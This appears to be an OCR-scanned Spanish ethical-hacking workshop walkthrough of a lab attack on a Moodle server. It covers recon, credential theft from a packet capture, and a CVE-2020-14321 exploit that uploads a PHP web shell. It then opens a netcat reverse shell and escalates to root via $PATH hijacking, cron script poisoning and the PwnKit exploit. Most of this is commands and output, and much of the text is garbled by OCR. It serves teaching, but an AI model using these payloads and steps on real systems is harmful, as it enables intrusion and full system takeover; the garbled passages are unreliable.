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AVISO: Este taller de hacking ético tiene como objetivo educar a los participantes
sobre técnicas de seguridad y vulnerabilidades en sistemas de informaciéon. Todas las
técnicas impartidas durante el taller son para fines educativos. Por lo tanto, no nos
hacemos responsables del mal uso que se pueda hacer de los conocimientos
adquiridos en este taller. Es importante que todos los participantes comprendan que
el uso de estas técnicas para actividades ilegales o malintencionadas esta
estrictamente prohibido.
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1. Reconocimiento del entorno y recopilacion de informacion

El primer paso es empezar con el concepto “asociar nombres de dominio con direcciones
IP”, lo que realizaremos sobre el fichero “/etc/hosts”.

Esto sirve para no tener que buscar directamente la IP del servidor; en cambio, le asociamos
uno o varios nombres a la misma direccion IP, lo que da significado al concepto de “Virtual
Hosting”.

~$ sudo nano /etc/hosts

Dentro del fichero /etc/hosts buscamos esta linea al principio del fichero:

10.5.0.10 exta.example.net exta

Una vez localizada disponemos de 2 nombres de dominio para la misma direccién IP que nos
sirven, pero vamos a afiadir un tercer nombre tabulando en el Ultimo nombre:

10.5.0.10 exta.example.net exta victima.srv

base.example.net base
exta.example.net exta victima.srv

Guardamos con “Ctrl+O” + “Intro” y salimos con “Ctrl+X”. Ahora podemos probar realizar un
simple ping al nuevo nombre de dominio afiadido:

~$ ping -c 5 victima.srv

Ln

Fau
w
e MWL

bytes from exta.example.net (1@.
bytes from exta.example.net (18.

.0.108): icmp ttl=64
.168): icmp 2 ttl=64
.18): icmp ttl=64
.18): icmp =4 ttl=64
.18): icmp =5 ttl=64

(3]
[
Lo

Ln

bytes from exta.example.net (18.
bytes from exta.example.net (18.
bytes from exta.example.net (18.

un

(53]

LN

Si funcionan, es que todo esté correcto y podemos continuar. Si no, se ha de repetir el proceso.
Cabe afadir que podemos utilizar los deméas nombres de dominio ya indicados por defecto.
Como comprobacion extra en este punto podemos detectar qué sistema operativo tiene
instalado la maquina victima, a través del TTL de las respuestas ICMP del ping. En este caso
el TTL=64. Esto significa que la maquina es Linux, siguiendo la siguiente tabla:
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Operating System Time To Live
Linux (Kernel 2.4 and 2.6) 64
Google Linux 64
FreeBSD 64
Windows XP 128
Windows Vista and 7 (Server 2008) 128
i0S 12.4 (Cisco Routers) 255

Podemos aseqgurar, gue gran parte del éxito de un atague proviene de realizar una buena
recoleccidon de informacion acerca de la maquina.

Nmap es una herramienta de cédigo abierto disefiada para realizar escaneos, con el fin de
encontrar nodos en la red y/o puertos abiertos tanto TCP/UDP, e incluso puertos cerrados,
evaluando de esta manera la seguridad de una red.

Ademas del escaneo de puertos basico, Nmap ofrece una amplia variedad de opciones y
funcionalidades avanzadas, incluyendo el escaneo de vulnerabilidades, la identificacion de
dispositivos, la generaciéon de mapas de red y la auditoria de seguridad.

En este caso vamos a utilizar dos comandos comunes, muy utilizados en red team por los
pentesters a la hora de recolectar informacién en una auditoria:

~$ sudo nmap --open -sS -p- -vvv -n --min-rate 5000 -Pn victima.srv

--open: Escaneo de solo puertos abiertos

-sS: Analisis utilizando TCP SYN

-p-: Todos los puertos TCP max 65535

-vwv: Incrementar el nivel de detalle (Ejem: conexiones, porcentaje escaneo, etc)

-n: No hacer traducciéon DNS

--min-rate 5000: Controla la velocidad de envio de paquetes de Nmap (5000 paquetes/s)
-Pn: No hacer ping

Reason: 65532 resets
STATE SERVICE REASON
open fip syn-ack ttl 64

open ssh syn-ack ttl &4
open http syn-ack ttl &4
CA:FE:00:80:00:0A (Unknown)

Obtenemos estos 3 puertos abiertos en la salida, por lo que en el siguiente escaneo vamos a
sacar mas informacion importante para recolectar mas informacién del servidor.
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~$ sudo nmap -sCV -p21,22,80 -vvv -oN victima.log victima.srv

-sCV: Realizar andlisis con los scripts por defecto y deteccidn de la version de servicios
-p21,22,80: Puerto seleccionados 21,22,80

-vwv: Incrementar el nivel de detalle (Ejem: conexiones, porcentaje escaneo, etc)

-oN <fichero.log>: Guardar en formato normal la salida por pantalla

PORT STATE SERVICE REASON VERSION

21/tcp open ftp syn-ack ttl 64 ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 238)
1 ftp ftp 18871728 Feb 18 G Admin_periedic_traffic_revision_SOC.pcapng
1 ftp ftp 170 Aug 30 welcome.msg
syn-ack ttl 64 OpenSSH 7.9pl Debian 1@+debl@u2 (protoceol 2.0)

:5e:1a:5c:bd: be:81l:af (RSA)
EAAAADAQABAAABA f

113:24: 2 2 3b (ED25519)
9 AAAAC3 ; dmh1zoUySYAyqy6/VD]j3LgVVTwol6
B/tcp open http 2.4.38 ((Debian))
http-methods:
Supported Methods: GET HEAD POST OPTIONS
http-server-header: Apache/2.4.38 (Debian)
|_http-title: Did not follow redirect te http://10.5.08.10

Como podemos observar en el anterior escaneo de Nmap, tenemos la informacion de los 3
puertos abiertos del servidor. Apreciamos un servidor FTP, SSHy HTTP.

Nos vamos a centrar en el puerto 21 (FTP). El propio Nmap nos esta informando de que ha
podido acceder de manera an6nima al servidor y listar el contenido del directorio FTP.
Accedemos al servidor FTP:

~$ ftp victima.srv
Usuario: anonymous
Sin password (Apretamos intro)
Connected to exta.example.net.
220 ProFTPD Server (Servider FTP 4UL4 V1RTU4L) [::ffff:18.5.0.10]
lame (victima.srv:userl): anonymous
email address as your password
assword:
B-Welcome, archive user anonymousi@b; .example.net !

@
]

B-The local time is: Mon Feb : :18:52 2082

@
]

B8-This is an experimental FTP server. If you have any unusual problems
B-please report them wvia e-mail to <root@exta.example.net=.

8-

8 Anonymous access granted, restrictions apply

temote system type is UNIX.

sing binary mode to transfer files.

]

23
23
23
23
23
23
23
23
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Una vez hemos accedido al FTP listamos el contenido del mismo con el comando:

ftp> Is
ftp= 1s
280 PORT command successful
Opening ASCII mode data connection for file list

1 ftp ftp 18871728 Feb 10 81:42 Admin_periodic_traffic_revision_SOC.pcapng
-MwW-F--r-- 1 ftp ftp 178 Aug 38 2021 welcome.msg
226 Transfer complete

Listando los ficheros encontramos un archivo con un nombre peculiar, con extension
‘pcapng’; una extensién de la herramienta “Wireshark”.

Descargaremos este fichero en local con el siguiente comando:

ftp> get Admin_periodic_traffic_revision_SOC.pcapng

Tt get Admin periodic_traffic_revision SOC.pcapng

local: Admin_periodic_traffic vision_S0C.pcapng remote: Admin_periodic_traffic_revision_50C.pcapng

280 PORT command successful

150 Opening BINARY mode data connection for Admin_perio traffic_revision_SOC.pcapng (18871728 byte
Transfer complete

sec 1916 MB/s)

dmin_periodic_traffic_revision SO0C.pcapng suyScript.py wictima.log

Se descargara en el directorio local de “user1” en “/home/user1/”

Como un grupo de analistas SOC de una empresa (Blue team), podriamos analizar el trafico
de este tipo de procedimientos, para comprobar la seguridad en las conexiones, peticiones y
respuestas, de nuestro servidor. Abriremos el fichero descargado con el siguiente comando:

~$ wireshark Admin_periodic_traffic_revision_SOC.pcapng

file Edt View Go Capmre Analyze  Statistics Telephony Wireless Tools  Help

4 n @ B RE a <> > K= =
[ = =3 -] Expre
Ho. Time Source Destination Protocol | Lengtl Info

16.000808068  reBA: :0AT1:fédc:ach. T162::1:2 DHCPvE 14 Solicit XID: GxeecrdB CID: BAA168011db2dc62d65099743a75

181 Tcp 74 39642
= ._

88.181 66 39642 ~ BA [ACK) Seq=1 ACK=1 Win=i
181 HTTR 499 GET /course/view.php?id=6 HTTP/1.1
153 e 66 89 - 39642 [ACK] Seq=1 Ack=434 W.
153 TcR 1514 88 - 39642 [ACK] Seq=1 Ack=434 W

2 6.899733023  192.168.160.153 - 80 [SYN] Seq=0 W 1460 SACK_PERM=1 T

4 6.891081360  192.168
56.691339208  192.168.
6 6.891521793  192.168
7 7.571578971  192.168

768 Len=0 TSval-1856657421 TSecr=1204217183
768 Len=1448 TSval-1856658181 TSecr=1784717183 [TCP segaent of a r

mbled POU)

£7.571620713  192.168 66181 Tce 66 39642 - BO [ACK] Seqed34 Ack=1419 Win=64128 Len=0 TSval=1204217B63 TSecr=1856658181
9 7.571751211  192.168 153 ] 1514 85 ~ 30642 [ACK] Seq=1449 Ack=434 Win=84768 Len=1448 TSval=1B56656101 TSecr=1204217183 [TCP segment of a reassembled POU]

10 7.571756175  192.168. 153 Tce 1514 80 ~ 30642 [ACK] Seq=2897 A Win= 148 TSval=1856656101 TSecr=1204217183 [TCP segment of a reassembled PDU]
117571758216 192.168 153 Tee 1514 80 ~ 39642 [ACK] Seq-4345 A 48 TSval-1B56658101 TSecr-1204217183 [TCP segment of a reassembled POU]

12 7.571759529  192.168 153 Tee 1514 88 ~ 39642 [PSH, ACK] Seq=5793 Ack=434 WIN=64768 Len=1448 TSval-1856658161 TSecr=1204217183 [TCP segment of a reassenbled PDU]
13 7.571760081  192.168 153 Tce 1514 86 30642 [ACK] Seqe7241 Ack=434 Win=84768 Len=1448 TSval=1B56656181 TSecr=1284217183 [TCP segment of a reassembled PDU]
147.571762353 192188 153 ] 1514 BB ~ 30642 [ACK] Seq=8SBI Ack=43 Win=84768 Len=148 TSval=1B56656101 TSecr=1204217183 [TCP segment of a reassembled FOU]

15 7.571763651  192.168. 153 Tce 1514 80 ~ 30642 [ACK] Seq=10137 Ack=434 Win=64760 Len=1448 TSval=1856658101 TSecr=1204217183 [TCP segment of a reassembled PDU]

16 7.571765458  192.168 153 Tee 1514 80 ~ 39642 [ACK] Seq=11585 Ack=434 Win=64768 Len=1448 TSval-156656101 TSecr=1204217183 (TCP segment of & reassembled PDU]

17 7.571766913 192,168 153 Tep 1514 B9 - 39642 [PSH, ACK] Seq=13033 Ack=434 Win=564768 Len=1448 TSval=1856658101 TSecr=1204217183 [TCP segment of a reassenbled POU]
18 7.574769299  192.168 181 Tee 66 39642 ~ B0 [ACK] Seqed34 Ack=4345 Win=61312 Len=0 TSval=1204217863 TSecr=1856658101

19 7.571870277  192.168 181 Tce 66 39642 ~ BO [ACK] Seq-434 ACK=14381 WIn-51200 Len-0 TSval-1204217863 TSecr-1856658181

20 7.587069550  192.168 153 Tce 1514 88 - 39642 [ACK] Seq=14481 Ack=A34 Win=64768 Len=1448 TSval=1856658116 TSecr=1284217183 [TCP segment of a reassesbled PDU]
217.587648518 152188 181 Tee 66 39642 - BO [ACK] Seq=434 Ack=15920 Win=64128 Len=0 TSval=1264217878 TSecr=1856E58116

227,507159567  192.188 153 Tep 1514 B9 - 39642 [ACK] Seq=15920 Ack=434 Win=84768 Len=1448 TSval=1856658116 TSecr=1204217883 [TCP segment of a reassesbled PDU]
237.567474819  192.166.100.153 192.168.160.181 Tep 66 39642 ~ B0 [ACK] Seqed34 Ack=17377 Win=63488 Len=0 TSval=1204217878 TSecr=1856656116

247.587230916  192.168.180.181 108,153 Tce 1514 89 ~ 39642 [ACK] Seq-17377 ACK=334 Win-64768 Len-1448 TSval-1856658116 TSecr-1204217863 [TCP segment of a reassembled PDU]

26 7 sa7747048 107 188 188 152 108 181 s 88 20817 . 90 TACK] San-A%4 AcK-1989% Win-R24R4 1en-G TSyal-104717970 TSare—1ESRASRIIA

> Frame 3: 74 bytes on wire (592 bits), 74 b ptured (502 bits) on interface @
>-Ethernet II, Src: Vmare_7e:bc:bS (00:0c:29:7e:be:bS), Dst: Vmware 61:64:3e (00:0c:20:61:64:3e)
> Internet Protacol Version 4, Src: 192.168.108.181, Dst: 192.168.100.153
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Examinando el archivo, podemos apreciar que es una captura de segmentos TCP y del
protocolo HTTP en la conexién cliente-servidor hacia el portal web. Si analizamos dichos
segmentos, en alguno de ellos llegaremos a encontrar informacién sensible.

Esta captura podria ser realizada por un intruso en la red debido a que el trafico viaja por
texto plano al no hacer uso de SSL/TLS; pero ademas, como es légico, dejar informacién
sensible como un indicativo para otros usuarios, ya sean administradores, de nuestrared local,
€s un error.

Con el filtro de wireshark "http.request.method == POST" conseguimos filtrar en la marafa
de paquetes aquellos que realizan una peticion POST. Esto se realiza porque sabemos que
los logins de una aplicacién se realizan a través de peticiones POST.

Podemos facilitar el andlisis/filtrado de muchos modos; (...)

Segmento con informacion sensible: tcp.stream eq 78
Inmediatamente: Analyze > Follow > TCP Stream

POST /login/index.php HTTP/1.1
Host: 192.168.1006.181

User-Agent: Mozilla/s5.@ (X11; Linux x86_64; rv:78.0) Gecko/20100181 Firefox/78.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 108

Origin: http://192.168.100.181

Connection: keep-alive

Referer: http://192.168.100.181/1login/index.php

Cookie: MoodleSession=kketqsmpGeegmjT9thG360vqjp

Upgrade-Insecure-Requests: 1

anchor=&logintoken=sBEHQpQakvXCy1K4wOCBiy9U9KvswsCGausername=smoyadpassword=U3UzcjczXzNuYzB
udHIObmQWHTTP/1.1 383 See Other

Date: Fri, 16 Feb 2023 ©1:20:52 GMT

Server: Apache/2.4.54 (Debian)

Expires: Thu, 19 Nov 1981 88:52:08 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

X-Redirect-By: Moodle

Location: http://192.168.100.181/1login/index.php
Content-Language: en

Content-Length: 436

Keep-Alive: timeout=5, max=160

Connection: Keep-Alive

Content-Type: text/html; charset=utf-&

<!DOCTYPE html=>

<html lang="en" xml:lang="en">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>Redirect</title>

</head><body><div style="margin-top: 3em; margin-left:auto; margin-right:auto; text-
align:center;">This page should automatically redirect. IT nothing is happening please use
the continue link below.<br /><a href="http://192.168.100.181/login/index.php">Continue</
a></div></body></html>GET /login/index.php HTTP/1.1

Host: 192.168.100.181

8 client pkts, 311 server pkts, 15 turns.

~

Entire conversation (404 kB) W Show and save data as | ASCII ~ | Stream |78 O
Find: Find MNext
B Help Filter Qut This Stream Print Save as... Back @ Close
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En el Segmento TCP: 78, podemos encontrar un inicio de sesion hacia el portal, pudiendo
ver el usuario y contrasefia correspondientes a dicho inicio de sesién en las cabeceras HTTP.
Un usuario con permisos de administrador en la plataforma Moodle.

La contrasefa se encuentra codificada en Base64, por lo que la decodificamos a texto
plano con el siguiente comando:

~$ echo "U3UzcjczXzNuYzBudHIObmQw" | base64 -d

Usuario con rol de Administrador en la plataforma: smoya
Contrasefia: Su3r73 3ncOntr4nd0

Tras lo anterior, podremos loggear con el usuario secuestrado en el Portal Web.
A partir de aqui, debemos pensar como escalar a la maguina que aloja este servidor.

@ £ 10.5.0.10/login/index.ph 80%

smoya Forgotten your username or password?

Cookies must be enabled in your browser @

Some courses may allow guest access

Remember usemame Log in as a guest
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2. Explotacion e Intrusiones

Al realizar una busqueda de informacion por Internet, por ejemplo, podemos llegar a encontrar
versiones de estos portales con vulnerabilidades. Gracias al andlisis y estudio de la plataforma
instalada en EXTA, descubrimos que existe una vulnerabilidad en la version de la plataforma
utilizada “Version Moodle 3.9.0”.

El script de Python 3 es una modificacién del desarrollado por el usuario de Github lantz para
explotar la vulnerabilidad CVE-2020-14321 - Moodle 3.9.

Esta version modificada realizada por nosotros automatiza todos los pasos a realizar para
explotar la plataforma. El script puede encontrarse en el repositorio:
https://github.com/xbossyz/garaje_suyer/blob/main/suyScript.py

Para poder descargar el script de Github a nuestra maquina utilizaremos el siguiente
comando:

~$ wget https://raw.githubusercontent. com/xbossyz/garaje suyer/mam/suyScrlpt py

$ wget https://raw.githubusercontent.com/xbos
122--  https:/ githubusercontent.
Resolving raw. ubuEer:cntent githubuserconten 5
Connecting te co col raw. q1thubu5er(cntent.:cm]llaf.lgg.laQ.
HTTP request sen vaiting respcnse . 200 OK
Length: 9248 (9.0K) [text/plain]
Saving to: ‘suyScript.py’

suyScript.py

2023-03-02 17:44:22 (35.0 MB/s) - 'suyScript.py’ saved [9248/9248]

$ Ls -1 suyScript.py
1 userl userl 9248 Mar 2 17:44 suyScript.py

Una vez teniendo el script en nuestro equipo local, explicamos en qué consiste el ataque y
que automatiza el script. Consiste en conectarse al moodle con el usuario y contrasefia
previamente encontrados para generar unos directorios y ficheros que son necesarios como
estructura a la hora de subir un plugin. Sin embargo, uno de los ficheros tiene “truco”, ya que
hemos afadido una funcién que permite ejecutar comandos del sistema en PHP.

Contenido plugin.zip:

ltest

| -version.php -><?php plugin->version = 2020061700; $plugin->component = 'block_test’?>
| /lang

| /en

|  -block_test.php ->(<?php system($_GET['cmd']); ?>)

Con esta estructura se automatiza subir el plugin y confirmar la instalacion del mismo. Para
realizar todo el ataque usando el script utilizamos los siguientes parametros:
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~$ python3 suyScript.py -url http://10.5.0.10 -u smoya -p 'Su3r73_3nc0Ontr4nd0' -cmd id

Como se puede apreciar, el propio script te permite ver la respuesta del servidor al comando
introducido. Para poder abrir una conexiéon remota con la maquina necesitamos inyectar una
reverse shell. Vamos a enumerar los pasos:

1) Abrir una pestafia nueva en el navegador Firefox y abrir la extension arriba a la derecha
de hack-tools y colocar la siguiente IP y puerto:

sm ) | e & T N O & =

Reverse shell

A reverse shell is a shell session established on a connection that is initiated from a
remote machine, not from the local host.

=105.01 1234

2) Bajamos el scroll en la misma ventana y seleccionamos la reverse shell de Netcat:

Netcat

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>8&1|nc 10.5.0.1 1234
=/tmp/T O

O Copy the reverse shell ¢ URL encoded
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3) Antes de ejecutar el script, abrimos otra terminal y colocamos el comando (2); ahora,
en la terminal donde habiamos ejecutado el script anteriormente, afiadimos la linea

(2):

(1) ~$ python3 suyScript.py -url http://10.5.0.10 -u smoya -p 'Su3r73_3ncOntr4nd0' -cmd 'rm
Itmp/f;mkfifo /tmp/f,cat /tmp/f|/bin/sh -i 2>&1|nc 10.5.0.1 1234 >/tmp/f'

(2) ~$ nc -lvnp 1234
]

B user ! python3

user? : nc — Konsole

2, port 1234)
received!
job control turned off

data) groups=33(www-data)

4) Una vez estamos ejecutando comandos dentro de la maquina vamos a realizar el
tratamiento de la terminal TTY con los siguientes comandos. Esto sirve para mejorar
visualmente la terminal, etc:

~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
~$ export TERM=xterm

Ctrl + Z

~$ stty raw -echo; fg

reset
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3. Escalada de Privilegios

La idea detras de la escalada de privilegios es que, una vez que un atacante ha obtenido
acceso a un sistema, puede intentar elevar sus privilegios para obtener un mayor control sobre
el sistema y realizar acciones maliciosas que antes no eran posibles. La escalada de
privilegios puede realizarse de varias maneras, dependiendo de las vulnerabilidades y
debilidades presentes en el sistema como vamos a ver a continuacion.

3.1. Secuestro variable $PATH

Para escalar privilegios accedemos al directorio local del usuario “earl” (/home/earl/) y al
realizar la comprobacion de los ficheros encontramos un directorio de “Backups”,
accediendo dentro localizamos 2 ficheros donde uno de ellos tiene permisos SUID.

/home/earl/Backups/piterBilbo_Backup
-rwsr-xr-x 1 earl earl 16664 Feb 23 17:35 piterBilbo_Backup

Si se establece el bit de permiso "s" en un archivo ejecutable, entonces cuando un usuario lo
ejecuta, el programa se ejecutara con los permisos del propietario del archivo en lugar (earl)
de los del usuario que lo ejecuta (www-data). Por ejemplo, en este caso www-data ejecuta el
binario pero todo el contenido del ejecutable como comandos, operaciones, etc. Estaran
siendo ejecutadas por (earl).

Una vez repasado el concepto SUID, voy a explicar como desarrollar el ataque con la variable
de entorno de Linux $PATH.

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Cuando se ingresa un comando en la linea de comandos, el sistema buscara el ejecutable
correspondiente en cada uno de los directorios especificados en la variable $PATH, en
el orden en que aparecen en la lista. Por ejemplo, si se ingresa el comando "Is" en la linea de
comandos, el sistema buscara el __

. . Cxa lnallzZe
archivo ejecutable "Is" en cada uno de T Ehsrt mEd
los directorios especificados en [GNi:isgeiNeaa

$PATH (/usr/bin/ls). ITM deregisterTMCloneTable
gmon_start
ITM registerTMCloneTable

Para empezar con el ataque, vamos a [WAIL
ejecutar un comando que nos va IEEAGIENC

- . . clear
p.erm_ltlr \{er e_l contenido del fichero echo 'Bienvenido al sistema de Backups'
binario “piterBilbo_Backup”: tar -cvzf backup.tgz /var/backups/Authlogs.txt

~$ strings piterBilbo_Backup echo 'Backup finalizado.... Comprobando..'’

GCC: (Debian 8.3.0-6) 8.3.0
critstuff.c

10
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Podemos apreciar que dentro del binario se estan ejecutando varios comandos del sistema
como “clear”, “echo”, “tar” y “Is". Todos esos comandos se estadn ejecutando
correctamente gracias a $PATH. Ahora es cuando nosotros vamos a modificar esa variable

de entorno.

1) Primero creamos un fichero en /tmp que se llame igual que el comando tar:

~$ cd /tmp
~$ touch tar

a:/homesearl/Backupss cd /tmp
cta:/tmps touch tar

weww-datagexta: /tmps 1s -1la tar
-rw-r--r-- 1 www-data www-data 8 Mar

2) Unavez creado el fichero le ingresamos el comando /bin/bash dentro y le concedemos
permisos totales:

~$ echo '/bin/bash' > tar
~$ chmod 777 tar

:/tmps echo '/bin/bash’
Jtmps chmod 777 tar
:/tmps 1s -la tar
ww-data www-data 18 Mar 2 20:85 tar
w-data@exta:/tmps cat tar
/bin/bash
www-data@exta: /tmps JJ

3) Ahora para finalizar el ataque afiadimos la ruta /tmp en la variable de entorno $PATH
para engafiar a Linux de binario.

~$ export PATH=/tmp:$PATH

Us:en
PWD=/tmp
APACHE LOG DIR=/var/log/apache2
LANG=C
INVOCATION ID=24c7e790975349%3eabd4bB80926998b73b
APACHE PID FILE=/var/run/apache2/apache2.pid
TERM=xterm

APACHE RUN GROU -data
APACHE LOCK DIR=/var/lock/apache2
SHLVL=1

LC CTYPE=C.UTF-

APACHE RUN DIR=/w

JOURNAL STREAM

APACHE RUN USER: d:

PATH=/tmp: fusr/local/sbin: fusr/local/bin: /usr/sbin: fusr/bin: /sbin:/bin

11
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4) Ejecutamos el binario de nuevo y vemos lo que pasara a continuacion:

~$ /home/earl/Backups/piterBilbo_Backup

Bienvenido al sistema de Backups
earl@exta: /tmps id

uid=18081(earl) gid=33(www-data) groups=33(www-data)
earl@exta:/tmps Jj

Como bien deciamos antes, hemos engafiado a Linux y hemos hecho ejecutar como “earl”
una /bin/bash que es unaterminal. Y ya con acceso a earl seguiremos con la préxima escalada
de privilegios al usuario “root”.

3.2. Envenenamiento tarea Crontab Linux

Cron es un programador de tareas que permite a los usuarios programar la ejecucion
automatica de comandos o scripts en momentos especificos.

En este punto, el usuario “earl”, como parte de una tarea de mantenimiento, tiene que
modificar un script que realiza copias de seguridad de registros. El script en cuestion esta
siendo ejecutado por root cada minuto gracias al servicio “cron”.

~$ cat /etc/crontab

/home/earls cat /etc/crontab
3 ntab: system-wide crontab
# Unlike any other crontab you don't have to run the "crontab’
# command to install the new version when you edit this file
# and files in /fetc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin: fusr/local/bin: /sbin:/bin: fusr/sbin: fusr/bin

--- minute (8 - 59)
- hour (8 - 23)
- day of month (1 - 31)
--- month (1 - 12) OR jan,feb,mar,apr ...
.---- day of week (8 - 6) (Sunday=8 or 7) OR sun,mon,tue,wed,thu,fri,sat
I
* user-name command to be executed
* root cd / & run-parts --report /etc/cron.hourly
* root test - sr/sbin/anacron || ( cd run-parts --report /etc/cron.daily )
7 root test - sr/sbin/ ron || ( cd / run-parts --report ron.weekly )
* root test - sr/sbin/anacron || ( cd run-parts --report /etc/cron.monthly

* root /.s3cr3t/logTask.sh

Aqui tenemos el fichero “crontab” donde se halla una tarea programada del script “logTask.sh”
Accedemos a la ruta donde se encuentra el fichero.

12
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~$ cd /.s3cr3t/

=

2 earl root 40896 Feb
20 root root 4096 Fe
1 root root 187 Fe
.s3cr3ts |}

P B B

(-]

L Ld Ld
=
0o oo o

b
b

. 39 -l n] |:.! T,-',| i | .5h

-rwxr-xrwx 1 root root 187 Feb 23 18:39 logTask.sh

Como se puede apreciar en los permisos el fichero pertenece a root pero en los bits que
pertenecen a “others” disponemos de “rwx” que significa que podemos leer, escribir y ejecutar.
Esto se debe a una mala configuracién a la hora de asignar los permisos.

Llegados a este punto, hos vamos a aprovechar de estos permisos, ademas de que se esta
ejecutando como root el script para inyectar un comando dentro del script y aprovechar para
escalar privilegios.

1) Abrimos el script SH y lo editamos:

~$ nano logTask.sh
GNU nano 3.2 logTask.sh

Jvar/logs/auth.log froot/Unixlogs.txt

r/logs/apachez/moodle. .Com_access.log Jroot/Moodlelogs. txt
flogs/apache2/faccess. log Jroot/Apache2logs. txt

2) Una vez abierto afiadimos una linea al final del fichero con el siguiente comando que
como anteriormente explicado es colocar el bit SUID:

chmod 4755 /bin/bash

13
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Ctrl+O” + “Intro” y salimos con “Ctrl+X”

/var/logs/auth.log = /root/Unixlogs.txt

/var/logs/apache2/moodle. .com_access.log = /root/Moodlelogs.txt
fvar/logs/apache2/access.log = /root/Apache2logs.txt
4755 /bin/bashlj

3) Esperamos 1 minuto y actualizamos listando la /bin/bash a ver la diferencia como
cambia el binario cuando se afiade el SUID.

~$ Is -la /bin/bash
:/.53cr3ts 1s
*x 1 root root i i 2019 /bin/bash
G a:/f.s3cr3ts ls
-rwsr-xr-x 1 root root 68776 Apr 18 2019 /bin/bash
earl@exta:/.s3cr3ts |

4) Finalmente ejecutamos el siguiente comando para ejecutar la /bin/bash como root y
haber realizado correctamente el ataque:

~$ bash -p

earl@exta:/.s3cr3ts bash -p

bash-5.08# id;whoami

uid=1001(earl) gid=33(www-data) euld=0(root) groups=33(www-data)

root

Ahora ya somos duefios de la maquina y podemos hacer lo que queramos en ella. Hemos
completado correctamente las escaladas de privilegios desde un usuario sin ningan permiso
a alcanzar al usuario administrador.
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4. Explotacion y parcheo de PKEXEC CVE-2021-4034 (PwnKIT)

En este punto vamos a utilizar una vulnerabilidad de ejecucion de codigo remoto que afecta a
sistemas Linux que utilizan el programa "pkexec". Esta vulnerabilidad se considera critica
porque puede permitir a un atacante tomar control total del sistema afectado. La vulnerabilidad
se descubrié en marzo de 2021 y se corrigié en las versiones mas recientes de los sistemas
operativos Linux que utilizan pkexec. Asi que vamos a ver como explotar la vulnerabilidad
paso a paso.

1) Primero localizamos el binario “pkexec” que, por defecto, se encuentra en “/usr/bin”:

~$ Is -la /usr/bin/pkexec

ls -la fusr/bin/pkexec
2

g
1 root root 23288 Jan 15 2019 /fusr/bin/pkexec

Podemos observar que dispone del Bit SUID y ademas pone la fecha de creacion del mismo
que es de “2019” y la vulnerabilidad se descubrié en 2021, asi que vamos a comprobar si
es vulnerable.

2) Colocamos el siguiente comando para descargarnos el exploit preparado para explotar
la vulnerabilidad de forma automatica.

~$ curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o pwnkit

:~% curl -fsSL https://raw.githubusercontent.com/Lly4k/PwnKit/main/PwnKit -o pwnkit

$ ls -la pwnkit
-rw-r--r-- 1 userl userl 180840 Mar 6 17:15 pwnkit

3) Le damos permisos de ejecucién al binario descargado en el paso anterior con:

~$ chmod +x pwnkit

chmod +x pwnkit

1s -la pwnkit

-rwxr-xr-x 1 wserl userl 18840 Mar 6 17:15 pwnkit

5
5

$ ./pwn kit

se:/home/userl# id
oot) gid=8(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev

root@base: /home/userl# |
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Y, voila, es vulnerable a CVE-2021-4034, y como podemos apreciar, nos convierte
directamente a usuario root en nuestra maquina, sin realizar ningun ataque especifico.

De aqui se debe tener en cuenta lo peligroso que es realmente este “ecosistema” informatico
en “la Red”, y a lo que estan expuestos nuestros sistemas si no se lleva un buen
mantenimiento de seguridad.

5) Cémo parchear la vulnerabilidad sin actualizar de forma manual para que no suceda.
~$ chmod 755 /usr/bin/pkexec

Si modificamos el bit SUID al binario pkexec, ya no es vulnerable en este ambito.

1s -la fusr/bin/pkexec
1 root root 23288 Jan 15 2019
.fpwnkit

5
5 whoami
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5. Anexos

5.1. Referenciasy fuentes

1. Exploit Python3 utilizado:

» https://qgithub.com/xbossyz/garaje suyer/blob/main/suyScript.py

» Modificacion del script proporcionado por: u/lantz -- source,

» A su vez, el payload de éste fue extraido del exploit original, creado por:
u/HoangKien1020

2. Informacion adicional como respaldo:
> https://chat.openai.com/chat

3. Exploit PKEXEC CVE-2021-4034
> https://github.com/ly4k/PwnKit

4. Maquina NetinVM proporcionada:
> https://www.uv.es

5.2.  Usuarios y contrasefias de las maquinas

e Magquina victima (Servidores): EXTA
¢ Maquina atacante: BASE

e base@userl: \{ol'NerzsNat-1a[o R [}
o exta@userl: [ETE RS

e Usuario moodle:
Password moodle: SlIK]ggIelg[el0lglig:ge[0)

En la maquina victima, EXTA:

e Acceso root: [pERe]fs N
e Acceso earl: jiRIEEREE]
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